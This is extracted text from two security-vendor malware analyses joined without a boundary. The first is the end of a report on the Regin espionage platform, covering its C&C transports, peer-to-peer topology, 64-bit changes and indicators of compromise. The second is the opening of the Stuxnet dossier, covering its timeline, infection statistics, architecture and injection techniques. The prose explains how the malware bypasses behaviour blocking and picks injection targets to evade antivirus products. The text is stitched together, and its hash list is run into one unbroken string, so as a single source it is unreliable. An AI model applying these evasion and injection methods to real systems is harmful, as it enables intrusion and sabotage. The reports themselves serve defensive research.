• Conversation—Transport over named pipes (SMB)
The core of these knock and conversation protocols is implemented in unit 0009h. The actual representation
of knock and conversation messages to be used with a specific network protocol is delegated to one of the transport providers, implemented as separate units within framework.
Unit 0x0009 is configured through its EVFS files. The configuration includes information about transport
provider units to be used for exchanging knock and conversation messages over the network. This provides flexibility to the operators to configure and deploy additional transport providers by simply installing them and reconfiguring unit 0009h.
The units responsible for C&C, including these transports, are illustrated in Figure 6.
A total of six transport protocols have been identified for command and control between nodes, which include ICMP,
UDP, TCP, HTTP Cookies, SSL, and SMB.
Figure 6. Regin’s extendible C&C unitsPage 16
Regin: Top-tier espionage tool enables stealthy surveillance
ICMP
ICMP transport is provided by unit 001bh, providing transport for the knock only. Regin communicates over ICMP
using a custom protocol with ‘shit’ markers embedded in the communications for data validation. In addition, CRC
checks using the seed ‘31337’ are performed.
UDP
UDP transport is provided by unit 0019h, providing transport for both the knock and conversation. Regin communicates over UDP using a custom protocol with ‘shit’ markers embedded in the communications for data validation.
TCP
TCP transport is provided by unit c373h, providing transport for both the knock and conversation. Regin communicates over TCP using a custom protocol with ‘shit’ markers embedded in the communications for data validation.
HTTP cookie
HTTP cookie transport is provided by unit c375h, providing transport for the knock only. Regin communicates over HTTP cookies using a custom protocol with ‘shit’ markers embedded in the communications for data validation.
The request must use one the following cookie names, the value is not important:
• USERID, TK=UID, GRID, UID, PREF=ID, TM, __utma, LM, TMARK, VERSION, CURRENT
The second cookie must use one of the following names, and contains the encoded message:• SESSID, SMSWAP, TW=WINKER, TIMESET, LASTVISIT, ASP.NET_SessionId, PHPSESSID, phpAds_id
SSL
SSLtransport is provided by unit c383h, providing transport for both the knock and conversation. Regin
communicates over SSL using a custom protocol. This unit appears to be built from a version of Open SSL (0.9.7b).
SMB
SMB transport is provided by unit c475fh, providing transport for both the knock and conversation. Regin communicates over SMB using a custom protocol with ‘shit’ markers embedded in the communications for data validation. The named pipes created are generated by a seed.
Topology
Regin is designed as a peer-to-peer network. The network adopts a virtual private network (VPN) on top of the physical network of the infected host. Each Regin node is assigned a virtual IP address, which forms the virtual network on top of the physical network. Unit 0009h and 0013h handle communications on the virtual network between peers, whilst the various transport providers exchange the data over the underlying physical network.
The Regin operators can configure communications between nodes to enable:
1. Deep access to critical assets within a compromised organization
2. Establish “trusted” communication links between trusted organizations/sub-organizations
3. Mask core attack infrastructure
The operators also appear to configure the knock and conversation traffic to match expected protocols depending on
where the infected Regin node exists on the network.Page 17
Regin: Top-tier espionage tool enables stealthy surveillance
64-bit version
Only a small amount of the 64-bit Regin files have been recovered. These samples may represent version 2.0 or
their differences may possibly be solely specific to 64-bit versions of Regin. We also recovered files from infected computers that may or may not be associated with 64-bit Regin, including several variants of svcsstat.exe, a file that aims to retrieve binary data over pipes or sockets and execute the data.
File names
The recovered files do not appear to fundamentally vary from their 32-bit counterparts, apart from a few noteworthy differences.
The 32-bit and 64-bit versions of Regin use different file names. These differences are shown in the first section of
this paper as well as in the appendix. Most importantly, in the 64-bit version of Regin, the names of containers are changed:
• PINTLGBP.IMD replaces SystemLog.Evt
• PINTLGBPS.IMD replaces SecurityLog.Evt
Stage differences
The 64-bit version of Regin’s Stage 1 (wshnetc.dll) is no longer a kernel mode driver, as drivers under 64-bit Windows
must be signed. Instead, Stage 1 is a user mode DLL loaded as a Winsock helper when the computer is starting up. Rather than loading Stage 2 from an NTFS extended attribute, Stage 1 looks for the last partition (in terms of physical location) on disk and searches for the payload in the raw sectors in this area of the disk.
Figure 7. Example network topology of infected organisationPage 18
Regin: Top-tier espionage tool enables stealthy surveillance
The 64-bit Regin’s Stage 3 has not been recovered. We believe that it may not exist, as the 32-bit version is a
driver. Stage 4 is an orchestrator, just like its 32-bit counterpart, and it uses the same major and minor values to export functionality.
Stage 5 uses the following file names:
• %Windir%\IME\IMESC5\DICTS\PINTLGBP.IMD contains Stage 5 user payloads, replacing SystemLog.Evt in the
32-bit version
• %Windir%\IME\IMESC5\DICTS\PINTLGBS.IMD contains Stage 5 data files, replacing SecurityLog.Evt in the 32-bit version
• The equivalent files for SystemAudit.Evt and SecurityAudit.Evt were not recovered
No Stage 5 payload modules have been recovered.
Conclusion
Regin is a highly-complex threat which has been used for large-scale data collection or intelligence gathering
campaigns. The development and operation of this threat would have required a significant investment of time and resources. Threats of this nature are rare and are only comparable to the Stuxnet/Duqu family of malware. The discovery of Regin serves to highlight how significant investments continue to be made into the development of tools for use in intelligence gathering. Many components of Regin have still gone undiscovered and additional functionality and versions may exist.
Protection
Symantec and Norton products detect this threat as Backdoor.Regin.APPENDIXPage 20
Regin: Top-tier espionage tool enables stealthy surveillance
Appendix
Data files
Regin’s data files are classified as Stage 5
components and are contained in an EVFS container.
As the data files are stored in a container, they do
not have names. Just like Stage 5 modules, they are referenced by their filetag, which is the aggregation of the major and minor identifiers. The major identifier indicates which major routine group likely handles or creates the file.
Not all data files have been recovered, so the
information in Table 11 remains incomplete.
Table 12 lists recovered data files used by Stage 5
modules:
The associated modules that supposedly manipulate
those data files were not recovered.
Indicators of compromise
The following details can be used to help determine whether you have been impacted by this threat.
File MD5s
2c8b9d2885543d7ade3cae98225e263b
4b6b86c7fec1c574706cecedf44abded187044596bc1328efa0ed636d8aa4a5c06665b96e293b23acc80451abb413e50d240f06e98c8d3e647cbf4d442d794756662c390b2bbbd291ec7987388fc75d7ffb0b9b5b610191051a7bdf0806e1e47b29ca4f22ae7b7b25f79c1d4a421139d1c024e599ac055312a4ab75b3950040aba7bb65634ce1e30c1e5415be3d1db1db505d65721bb2453d5039a389113b566b269894f434657db2b15949641a67532bfbe8c3ee78750c3a520480700e440f8Table 11. Data files used by Stage 4’s framework DLL
Major Minor Description
0001 - -
000D - -
000F 01 High-entropy blobs, cryptographic
data
02 High-entropy blobs, cryptographic
data
003D - -
0007 - -
000B 01 Contains a path to the log file. Typically, %System\config\Applica-tionLog.Evt
02 Small 8 byte files
0033 01 A single DWORD, such as 111Ch
03 A single DWORD, such as 1114h
0011 - -
0013 01 Unknown list of records
02 A single byte, such as 3
C373 01 BPF bytecode for the netpcap driver–allows UDP passthrough
02 A WORD value, such as 1
0019 01 BPF bytecode for the netpcap driver–allows TCP passthrough
02 A WORD value, such as 1
0009 00 A single DWORD, such as 11030B15h
01 Contains C&C location information
02 C&C routines to be executed:• (C375, 1) param= 08 02• (19, 1) param= 44 57 58 00• (C373, 1) param= 08 02• (1B, 1) param= 20 00
03 Routines to be executed• (4E69, 2)• (19, 2)• (1B, 2)• (C373, 2)• (C375, 2)• (C383, 2)• (C363, 2)
07 RC5 key used to decrypt command-and-control packets
09 Unknown data
0B Unknown data
12 A single byte, such as 1
17 Unknown dataPage 21
Regin: Top-tier espionage tool enables stealthy surveillance
File names/paths
abiosdsk.sys
adpu160.sys floppy.sysparclass.sysrio8drvx.sysser8uart.sysusbclass.sys vidscfg.sysmsrdc64.dat msdcsvc.dat%System%\config\SystemAudit.Evt%System%\config\SecurityAudit.Evt%System%\config\SystemLog.evt%System%\config\ApplicationLog.evt%Windir%\ime\imesc5\dicts\pintlgbs.imd%Windir%\ime\imesc5\dicts\pintlgbp.imd%Windir%\system32\winhttpc.dll%Windir%\system32\wshnetc.dll%Windir%\SysWow64\wshnetc.dll%Windir%\system32\svcstat.exe%Windir%\system32\svcsstat.exe
Extended attributes
%System%\CertSrv%System%\mui%System%\npp%System%\Spool\Printers%Windir%%Windir%\cursors %Windir%\fonts %Windir%\help%Windir%\infTable 12. Data files used by Stage 5’s modules (payloads)
Major Minor Description
C363 02 6 bytes (01 00 00 00 00 00)
4E3B -
02 High-entropy blobs, cryptographic data
290B -
C375 01 Dword (1)
02 Dword (0)
C383 01 Dword (1)
02 Dword (0)
10 64 bytes (512 bits)
Diffie Hellman, p (prime)
11 Byte (2)
iffie Hellman, g (generator)
C361 10 File containing timestamps and high entropy
data
11 Dword (E10h)
12 Dword (2)
001B -
C399 -
C39F 00 Small file, 18h bytes, low entropy
01 Unencrypted unicode path, %Temp%\~B3Y7F.
tmp
C3A1 01 Small file, 6 bytes (08 01 00 00 00 01)
28A5 02 Small file, 18h bytes, unknown
C3C1 - -
C3B5 - -
C36B - -
C351 - -
2B5D - -
C3CD - -
C38F - -
C3C5 - -
27E9 - -
Table 13. Orphaned data files
Major Minor Description
4E25 00 Byte (1)
01 Byte (2)
28A4 00 Unknown
02 Small file, 8 bytes (01 00 00 00 00 00 00 00)
DEAB 01 Small file, 8 bytes (00 00 01 01 04 00 00 00)Page 22
Regin: Top-tier espionage tool enables stealthy surveillance
%Windir%\msagent
%Windir%\msapps%Windir%\repair%Windir%\security%Windir%\temp%Windir%\System32 %Windir%\System32\drivers
Registry
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793-
D0204917CA58}
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793-
D0204917CA5A}
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{9B9A8ADB-8864-4BC4-8AD5-
B17DFDBB9F58}
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\RestoreList\VideoBaseHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session\{5D42A36B-12C4-DE7C-4BD1-
0612BD1CF324}
|
Security Response
Contents
Introduction ....................................................... 1
Executive Summary ........................................... 2
Attack Scenario .................................................. 3
Timeline .............................................................. 4
Infection Statistics ............................................. 5
Stuxnet Architecture ........................................ 12
Installation ....................................................... 16
Load Point ........................................................ 20
Command and Control ..................................... 21
Windows Rootkit Functionality ....................... 24
Stuxnet Propagation Methods ......................... 25
Modifying PLCs ................................................ 36
Payload Exports ............................................... 50
Payload Resources ........................................... 51
Variants ............................................................ 53
Summary .......................................................... 55
Appendix A ....................................................... 56
Appendix B ...................................................... 58
Appendix C ....................................................... 59
Revision History ............................................... 68While the bulk of the analysis is complete, Stuxnet is an incredibly large
and complex threat. The authors expect to make revisions to this document
shortly after release as new information is uncovered or may be publicly
disclosed. This paper is the work of numerous individuals on the Syman -
tec Security Response team over the last three months well beyond the
cited authors. Without their assistance, this paper would not be possible.
Introduction
W32.Stuxnet has gained a lot of attention from researchers and me -
dia recently. There is good reason for this. Stuxnet is one of the
most complex threats we have analyzed. In this paper we take a de -
tailed look at Stuxnet and its various components and particularly
focus on the final goal of Stuxnet, which is to reprogram industrial
control systems. Stuxnet is a large, complex piece of malware with
many different components and functionalities. We have already
covered some of these components in our blog serie s on the top -
ic. While some of the information from those blogs is included here,
this paper is a more comprehensive and in-depth look at the threat.
Stuxnet is a threat that was primarily written to target an industrial
control system or set of similar systems. Industrial control systems are
used in gas pipelines and power plants. Its final goal is to reprogram
industrial control systems (ICS) by modifying code on programmable
logic controllers (PLCs) to make them work in a manner the attacker in -
tended and to hide those changes from the operator of the equipment.
In order to achieve this goal the creators amassed a vast array of com -
ponents to increase their chances of success. This includes zero-day
exploits, a Windows rootkit, the first ever PLC rootkit, antivirus evasion Nicolas Falliere, Liam O Murchu,
and Eric ChienW32.Stuxnet Dossier
Version 1.4 (February 2011)W32.Stuxnet Dossier
Page 2Security Response
techniques, complex process injection and hooking code, network infection routines, peer-to-peer updates, and
a command and control interface. We take a look at each of the different components of Stuxnet to understand
how the threat works in detail while keeping in mind that the ultimate goal of the threat is the most interesting
and relevant part of the threat.
Executive Summary
Stuxnet is a threat targeting a specific industrial control system likely in Iran, such as a gas pipeline or power
plant. The ultimate goal of Stuxnet is to sabotage that facility by reprogramming programmable logic controllers
(PLCs) to operate as the attackers intend them to, most likely out of their specified boundaries.
Stuxnet was discovered in July, but is confirmed to have existed at least one year prior and likely even before.
The majority of infections were found in Iran. Stuxnet contains many features such as:
Self-replicates through removable drives exploiting a vulnerability allowing auto-execution. •
Microsoft Windows Shortcut ‘LNK/PIF’ Files Automatic File Execution Vulnerabilit y (BID 41732)
Spreads in a LAN through a vulnerability in the Windows Print Spooler. •
Microsoft Windows Print Spooler Service Remote Code Execution Vulnerabilit y (BID 43073)
Spreads through SMB by exploiting the • Microsoft Windows Server Service RPC Handling Remote Code Execu -
tion Vulnerabilit y (BID 31874).
Copies and executes itself on remote computers through network shares.•
Copies and executes itself on remote computers running a WinCC database server.•
Copies itself into Step 7 projects in such a way that it automatically executes when the Step 7 project is •
loaded.
Updates itself through a peer-to-peer mechanism within a LAN.•
Exploits a total of four unpatched Microsoft vulnerabilities, two of which are previously mentioned vulner - •
abilities for self-replication and the other two are escalation of privilege vulnerabilities that have yet to be
disclosed.
Contacts a command and control server that allows the hacker to download and execute code, including up - •
dated versions.
Contains a Windows rootkit that hide its binaries.•
Attempts to bypass security products.•
Fingerprints a specific industrial control system and modifies code on the Siemens PLCs to potentially sabo - •
tage the system.
Hides modified code on PLCs, essentially a rootkit for PLCs.• W32.Stuxnet Dossier
Page 3Security Response
Attack Scenario
The following is a possible attack scenario. It is only speculation driven by the technical features of Stuxnet.
Industrial control systems (ICS) are operated by a specialized assembly like code on programmable logic control -
lers (PLCs). The PLCs are often programmed from Windows computers not connected to the Internet or even the
internal network. In addition, the industrial control systems themselves are also unlikely to be connected to the
Internet.
First, the attackers needed to conduct reconnaissance. As each PLC is configured in a unique manner, the attack -
ers would first need the ICS’s schematics. These design documents may have been stolen by an insider or even
retrieved by an early version of Stuxnet or other malicious binary. Once attackers had the design documents and
potential knowledge of the computing environment in the facility, they would develop the latest version of Stux -
net. Each feature of Stuxnet was implemented for a specific reason and for the final goal of potentially sabotag -
ing the ICS.
Attackers would need to setup a mirrored environment that would include the necessary ICS hardware, such as
PLCs, modules, and peripherals in order to test their code. The full cycle may have taken six months and five to
ten core developers not counting numerous other individuals, such as quality assurance and management.
In addition their malicious binaries contained driver files that needed to be digitally signed to avoid suspicion.
The attackers compromised two digital certificates to achieve this task. The attackers would have needed to
obtain the digital certificates from someone who may have physically entered the premises of the two companies
and stole them, as the two companies are in close physical proximity.
To infect their target, Stuxnet would need to be introduced into the target environment. This may have occurred
by infecting a willing or unknowing third party, such as a contractor who perhaps had access to the facility, or an
insider. The original infection may have been introduced by removable drive.
Once Stuxnet had infected a computer within the organization it began to spread in search of Field PGs, which
are typical Windows computers but used to program PLCs. Since most of these computers are non-networked,
Stuxnet would first try to spread to other computers on the LAN through a zero-day vulnerability, a two year old
vulnerability, infecting Step 7 projects, and through removable drives. Propagation through a LAN likely served
as the first step and propagation through removable drives as a means to cover the last and final hop to a Field
PG that is never connected to an untrusted network.
While attackers could control Stuxnet with a command and control server, as mentioned previously the key com -
puter was unlikely to have outbound Internet access. Thus, all the functionality required to sabotage a system
was embedded directly in the Stuxnet executable. Updates to this executable would be propagated throughout
the facility through a peer-to-peer method established by Stuxnet.
When Stuxnet finally found a suitable computer, one that ran Step 7, it would then modify the code on the PLC.
These modifications likely sabotaged the system, which was likely considered a high value target due to the large
resources invested in the creation of Stuxnet.
Victims attempting to verify the issue would not see any rogue PLC code as Stuxnet hides its modifications.
While their choice of using self-replication methods may have been necessary to ensure they’d find a suitable
Field PG, they also caused noticeable collateral damage by infecting machines outside the target organization.
The attackers may have considered the collateral damage a necessity in order to effectively reach the intended
target. Also, the attackers likely completed their initial attack by the time they were discovered. W32.Stuxnet Dossier
Page 4Security Response
Timeline
Table 1
W32.Stuxnet Timeline
Date Event
November 20, 2008 Trojan.Zlob variant found to be using the LNK vulnerability only later identified in Stuxnet.
April, 2009 Security magazine Hakin9 releases details of a remote code execution vulnerability in the Printer Spooler
service. Later identified as MS10-06 1.
June, 2009 Earliest Stuxnet sample seen. Does not exploit MS10-04 6. Does not have signed driver files.
January 25, 2010 Stuxnet driver signed with a valid certificate belonging to Realtek Semiconductor Corps.
March, 2010 First Stuxnet variant to exploit MS10-046.
June 17, 2010 Virusblokada reports W32.Stuxnet (named RootkitTmphider). Reports that it’s using a vulnerability in the
processing of shortcuts/.lnk files in order to propagate (later identified as MS10-04 6).
July 13, 2010 Symantec adds detection as W32.Temphid (previously detected as Trojan Horse).
July 16, 2010 Microsoft issues Security Advisory for “Vulnerability in Windows Shell Could Allow Remote Code Execution
(228619 8)” that covers the vulnerability in processing shortcuts/.lnk files.
Verisign revokes Realtek Semiconductor Corps certificate.
July 17, 2010 Eset identifies a new Stuxnet driver, this time signed with a certificate from JMicron Technology Corp.
July 19, 2010 Siemens report that they are investigating reports of malware infecting Siemens WinCC SCADA systems.
Symantec renames detection to W32.Stuxnet.
July 20, 2010 Symantec monitors the Stuxnet Command and Control traffic.
July 22, 2010 Verisign revokes the JMicron Technology Corps certificate.
August 2, 2010 Microsoft issues MS10-04 6, which patches the Windows Shell shortcut vulnerability.
August 6, 2010 Symantec reports how Stuxnet can inject and hide code on a PLC affecting industrial control systems.
September 14, 2010 Microsoft releases MS10-06 1 to patch the Printer Spooler Vulnerability identified by Symantec in August.
Microsoft report two other privilege escalation vulnerabilities identified by Symantec in August.
September 30, 2010 Symantec presents at Virus Bulletin and releases comprehensive analysis of Stuxnet.W32.Stuxnet Dossier
Page 5Security Response
Infection Statistics
On July 20, 2010 Symantec set up a system to monitor traffic to the Stuxnet command and control (C&C) serv -
ers. This allowed us to observe rates of infection and identify the locations of infected computers, ultimately
working with CERT and other organizations to help inform infected parties. The system only identified command
and control traffic from computers that were able to connect to the C&C servers. The data sent back to the C&C
servers is encrypted and includes data such as the internal and external IP address, computer name, OS version,
and if it’s running the Siemens SIMATIC Step 7 industrial control software.
As of September 29, 2010, the data has shown that there are approximately 100,000 infected hosts. The follow -
ing graph shows the number of unique infected hosts by country:
The following graph shows the number of infected organizations by country based on WAN IP addresses: Figure 1
Infected Hosts
Figure 2
Infected Organizations (By WAN IP)
W32.Stuxnet Dossier
Page 6Security Response
We have observed over 40,000 unique external IP addresses, from over 155 countries. Looking at the percentage
of infected hosts by country, shows that approximately 60% of infected hosts are in Iran:
Stuxnet aims to identify those hosts which have the Siemens Step 7 software installed. The following chart
shows the percentage of infected hosts by country with the Siemens software installed.
Looking at newly infected IP addresses per day, on August 22 we observed that Iran was no longer reporting new
infections. This was most likely due to Iran blocking outward connections to the command and control servers,
rather than a drop-off in infections. Figure 3
Geographic Distribution of Infections
Figure 4
Percentage of Stuxnet infected Hosts with Siemens Software installed
W32.Stuxnet Dossier
Page 7Security Response
The concentration of infections in Iran likely indicates that this was the initial target for infections and was
where infections were initially seeded. While Stuxnet is a targeted threat, the use of a variety of propagation
techniques (which will be discussed later) has meant that Stuxnet has spread beyond the initial target. These
additional infections are likely to be “collateral damage”—unintentional side-effects of the promiscuous initial
propagation methodology utilized by Stuxent. While infection rates will likely drop as users patch their comput -
ers against the vulnerabilities used for propagation, worms of this nature typically continue to be able to propa -
gate via unsecured and unpatched computers.
By February 2011, we had gathered 3,280 unique samples representing three different variants. As described in
the Configuration Data Block section, Stuxnet records a timestamp, along with other system information, within
itself each time a new infection occurs. Thus, each sample has a history of every computer that was infected,
including the first infection. Using this data, we are able to determine:
Stuxnet was a targeted attack on five different organizations, based on the recorded computer domain name.•
12,000 infections can be traced back to these 5 organizations•
Three organizations were targeted once, one was targeted twice, and another was targeted three times.•
Domain A was targeted twice (Jun 2009 and Apr 2010).•
The same computer appears to have been infected each time.•
Domain B was targeted three times (Jun 2009, Mar 2010, and May 2010).•
Domain C was targeted once (Jul 2009).•
Domain D was targeted once (Jul 2009).•
Domain E appears to have been targeted once (May 2010), but had three initial infections. (I.e., the same •
initially infected USB key was inserted into three different computers.)
12,000 infections originated from these initial 10 infections.•
1,800 different domain names were recorded.•
Organizations were targeted in June 2009, July 2009, March 2010, April 2010, and May 2010.•
All targeted organizations have a presence in Iran.•
The shortest span between compile time and initial infection was 12 hours.•
The longest span between compile time and initial infection was 28 days.•
The average span between compile time and initial infection was 19 days.•
The median span between compile time and initial infection was 26 days.•
Note any timing information could be incorrect due to time zones or incorrectly set system times. Figure 5
Rate of Stuxnet infection of new IPs by Country
W32.Stuxnet Dossier
Page 8Security Response
The following table provides details on the initial targets.
This graph shows the time required after compilation to the first infection.
The following is a graph that shows the clusters of infections resulting from the 10 different initial infections.
Each infection is a black circle. The red circles represent the variant used. The other colored circles represent the
initial infection with each initial domain having its own color (green, yellow, blue, purple, and orange). Table 2
Attack Waves Against the Initial Targets
Attack Wave Site Compile Time Infection Time Time to Infect
Attack Wave 1 Domain A June, 22 2009 16:31:47 June 23, 2009 4:40:16 0 days 12 hours
Domain B June, 22 2009 16:31:47 June 28, 2009 23:18:14 6 days 6 hours
Domain C June, 22 2009 16:31:47 July 7, 2009 5:09:28 14 days 12 hours
Domain D June, 22 2009 16:31:47 July 19, 2009 9:27:09 26 days 16 hours
Attack Wave 2 Domain B March, 1 2010 5:52:35 March 23, 2010 6:06:07 22 days 0 hours
Attack Wave 3 Domain A April, 14 2010 10:56:22 April 26, 2010 9:37:36 11 days 22 hours
Domain E April, 14 2010 10:56:22 May 11, 2010 6:36:32 26 days 19 hours
Domain E April, 14 2010 10:56:22 May 11, 2010 11:45:53 27 days 0 hours
Domain E April, 14 2010 10:56:22 May 11, 2010 11:46:10 27 days 0 hours
Domain B April, 14 2010 10:56:22 May 13, 2010 5:02:23 28 days 18 hours
Figure 6
Days Before Infection
W32.Stuxnet Dossier
Page 9Security Response
Figure 7
Clusters of Infections Based on Initial Infections
W32.Stuxnet Dossier
Page 10Security Response
There are a total of 10 clusters representing 10 initial infections. The attack on Domain B in March 2010 spread
the most successfully. Early attacks in June 2009 show the fewest infections; however, these numbers are
skewed because of the low number of June 2009 samples that were recovered.
The following picture shows a zoomed-in view of the lower right of the image. This cluster is the attack on Do -
main E with the initial infection time of 2010/05/11 11:46:10 with the April 2010 variant.
You can see that the graph primarily has linear branches such that a single infection does not infect many com -
puters, but only a single computer. While this is partially due to rate-limiting code within Stuxnet—for example,
a USB infection will delete itself from the USB key after the third infection—a larger influencer may be the
limited number of samples that were recovered. Additional samples would likely yield many more sub-branches.
Stuxnet’s propagation mechanisms are
all LAN based and thus, the final target
must be assumed in close network
proximity to the initial seeded targets.
Nevertheless, with 1,800 different
computer domains out of 12,000
infections, Stuxnet clearly escaped the
original organizations due to collabo -
ration with partner organizations.
Of the approximately 12,000 infec -
tions, the chart in figure 9 shows
which variants resulted in the most
infections. Figure 9
Variant Infection Distribution
Figure 8
Domain E Attack (detail)
W32.Stuxnet Dossier
Page 11Security Response
The March 2010 variant accounts for 69% of all infections. Thus, the March 2010 variant may have been seeded
more successfully. Note the single targeted organization in March 2010 was also targeted in June 2009 and in
April 2010 and neither of those other seeded attempts resulted in as many infections as in March. While smaller
infection rates for the June 2009 variant would be expected since it had less replication methods, the April 2010
variant is almost identical to the March 2010 variant. Thus, either the different seed within the same organiza -
tion resulted in significantly different rates of spread (e.g., seeding in a computer in a department with less
computer-security restrictions) or the data is skewed due to the small percentage of samples recovered.W32.Stuxnet Dossier
Page 12Security Response
Stuxnet Architecture
Organization
Stuxnet has a complex architecture that is worth outlining before continuing with our analysis.
The heart of Stuxnet consists of a large .dll file that contains many different exports and resources. In addition to
the large .dll file, Stuxnet also contains two encrypted configuration blocks.
The dropper component of Stuxnet is a wrapper program that contains all of the above components stored inside
itself in a section name “stub”. This stub section is integral to the working of Stuxnet. When the threat is execut -
ed, the wrapper extracts the .dll file from the stub section, maps it into memory as a module, and calls one of the
exports.
A pointer to the original stub section is passed to this export as a parameter. This export in turn will extract the
.dll file from the stub section, which was passed as a parameter, map it into memory and call another different
export from inside the mapped .dll file. The pointer to the original stub section is again passed as a parameter.
This occurs continuously throughout the execution of the threat, so the original stub section is continuously
passed around between different processes and functions as a parameter to the main payload. In this way every
layer of the threat always has access to the main .dll and the configuration blocks.
In addition to loading the .dll file into memory and calling an export directly, Stuxnet also uses another technique
to call exports from the main .dll file. This technique is to read an executable template from its own resources,
populate the template with
appropriate data, such as
which .dll file to load and
which export to call, and then
to inject this newly populated
executable into another pro -
cess and execute it. The newly
populated executable tem -
plate will load the original .dll
file and call whatever export
the template was populated
with.
Although the threat uses
these two different tech -
niques to call exports in the
main .dll file, it should be
clear that all the functionality
of the threat can be ascer -
tained by analyzing all of the
exports from the main .dll file.
Exports
As mentioned above, the
main .dll file contains all of
the code to control the worm.
Each export from this .dll
file has a different purpose
in controlling the threat as
outlined in table 3. Table 3
DLL Exports
Export # Function
1 Infect connected removable drives, starts RPC server
2 Hooks APIs for Step 7 project file infections
4 Calls the removal routine (export 18)
5 Verifies if the threat is installed correctly
6 Verifies version information
7 Calls Export 6
9 Updates itself from infected Step 7 projects
10 Updates itself from infected Step 7 projects
14 Step 7 project file infection routine
15 Initial entry point
16 Main installation
17 Replaces Step 7 DLL
18 Uninstalls Stuxnet
19 Infects removable drives
22 Network propagation routines
24 Check Internet connection
27 RPC Server
28 Command and control routine
29 Command and control routine
31 Updates itself from infected Step 7 projects
32 Same as 1W32.Stuxnet Dossier
Page 13Security Response
Resources
The main .dll file also contains many different resources that the exports above use in the course of controlling
the worm. The resources vary from full .dll files to template executables to configuration files and exploit mod -
ules.
Both the exports and resources are discussed in the sections below.
Bypassing Behavior Blocking When Loading DLLs
Whenever Stuxnet needs to load a DLL, including itself, it uses a special method designed to bypass behavior-
blocking and host intrusion-protection based technologies that monitor LoadLibrary calls. Stuxnet calls Load -
Library with a specially crafted file name that does not exist on disk and normally causes LoadLibrary to fail.
However, W32.Stuxnet has hooked Ntdll.dll to monitor for requests to load specially crafted file names. These
specially crafted filenames are mapped to another location instead—a location specified by W32.Stuxnet. That
location is generally an area in memory where a .dll file has been decrypted and stored by the threat previously.
The filenames used have the pattern of KERNEL32.DLL.ASLR.[HEXADECIMAL] or SHELL32.DLL.ASLR. [HEXA -
DECIMAL], where the variable [HEXADECIMAL]is a hexadecimal value.
The functions hooked for this purpose in Ntdll.dll are:
ZwMapViewOfSection•
ZwCreateSection•
ZwOpenFile•
ZwCloseFile•
ZwQueryAttributesFile•
ZwQuerySection•
Once a .dll file has been loaded via the method shown above, GetProcAddress is used to find the address of a
specific export from the .dll file and that export is called, handing control to that new .dll file. Table 4
DLL Resources
Resource ID Function
201 MrxNet.sys load driver, signed by Realtek
202 DLL for Step 7 infections
203 CAB file for WinCC infections
205 Data file for Resource 201
207 Autorun version of Stuxnet
208 Step 7 replacement DLL
209 Data file (%windows%\help\winmic.fts)
210 Template PE file used for injection
221 Exploits MS08-067 to spread via SMB.
222 Exploits MS10-061 Print Spooler Vulnerability
231 Internet connection check
240 LNK template file used to build LNK exploit
241 USB Loader DLL ~WTR4141.tmp
242 MRxnet.sys rootkit driver
250 Exploits Windows Win32k.sys Local Privilege Escalation (MS10-073)W32.Stuxnet Dossier
Page 14Security Response
Injection Technique
Whenever an export is called, Stuxnet typically injects the entire DLL into another process and then just calls the
particular export. Stuxnet can inject into an existing or newly created arbitrary process or a preselected trusted
process. When injecting into a trusted process, Stuxnet may keep the injected code in the trusted process or
instruct the trusted process to inject the code into another currently running process.
The trusted process consists of a set of default Windows processes and a variety of security products. The cur -
rently running processes are enumerated for the following:
Kaspersky KAV (avp.exe)•
Mcafee (Mcshield.exe)•
AntiVir (avguard.exe)•
BitDefender (bdagent.exe)•
Etrust (UmxCfg.exe)•
F-Secure (fsdfwd.exe)•
Symantec (rtvscan.exe)•
Symantec Common Client (ccSvcHst.exe)•
Eset NOD32 (ekrn.exe)•
Trend Pc-Cillin (tmpproxy.exe)•
In addition, the registry is searched for indicators that the following programs are installed:
KAV v6 to v9•
McAfee•
Trend PcCillin•
If one of the above security product processes are detected, version information of the main image is extracted.
Based on the version number, the target process of injection will be determined or the injection process will fail
if the threat considers the security product non-bypassable.
The potential target processes for the injection are as follows:
Lsass.exe•
Winlogon.exe•
Svchost.exe•
The installed security product process•
Table 5 describes which process is used for injection depending on which security products are installed. In ad -
dition, Stuxnet will determine if it needs to use one of the two currently undisclosed privilege escalation vulner -
abilities before injecting. Then, Stuxnet executes the target process in suspended mode.
A template PE file is extracted from itself and a new
section called .verif is created. The section is made
large enough so that the entry point address of
the target process falls within the .verif section. At
that address in the template PE file, Stuxnet places
a jump to the actual desired entry point of the
injected code. These bytes are then written to the
target process and ResumeThread is called allowing
the process to execute and call the injected code.
This technique may bypass security products that
employ behavior-blocking.
In addition to creating the new section and patch -
ing the entry point, the .stub section of the wrapper
.dll file (that contains the main .dll file and configu -
ration data) is mapped to the memory of the new
process by means of shared sections. So the new Table 5
Process Injection
Security Product Installed Injection target
KAV v1 to v7 LSASS.EXE
KAV v8 to v9 KAV Process
McAfee Winlogon.exe
AntiVir Lsass.exe
BitDefender Lsass.exe
ETrust v5 to v6 Fails to Inject
ETrust (Other) Lsass.exe
F-Secure Lsass.exe
Symantec Lsass.exe
ESET NOD32 Lsass.exe
Trend PC Cillin Trend ProcessW32.Stuxnet Dossier
Page 15Security Response
process has access to the original .stub section. When the newly injected process is resumed, the injected code
unpacks the .dll file from the mapped .stub section and calls the desired export.
Instead of executing the export directly, the injected code can also be instructed to inject into another arbitrary
process instead and within that secondary process execute the desired export.
Configuration Data Block
The configuration data block contains all the values used to control how Stuxnet will act on a compromised com -
puter. Example fields in the configuration data can be seen in the Appendix.
When a new version of Stuxnet is created (using the main DLL plus the 90h-byte data block plus the configura -
tion data), the configuration data is updated, and also a computer description block is appended to the block
(encoded with a NOT XOR 0xFF). The computer description block contains information such as computer name,
domain name, OS version, and infected S7P paths. Thus, the configuration data block can grow pretty big, larger
than the initial 744 bytes.
The following is an example of the computer description block :
5.1 - 1/1/0 - 2 - 2010/09/22-15:15:47 127.0.0.1, [COMPUTER NAME] [DOMAIN NAME] [c:\a\1.
zip:\proj.s7p]
The following describes each field:
5.1 - Major OS Version and Minor OS Version
1/1/0 – Flags used by Stuxnet
2 – Flag specifying if the computer is part of a workgroup or domain
2010/09/22-15:15:47 – The time of infection.
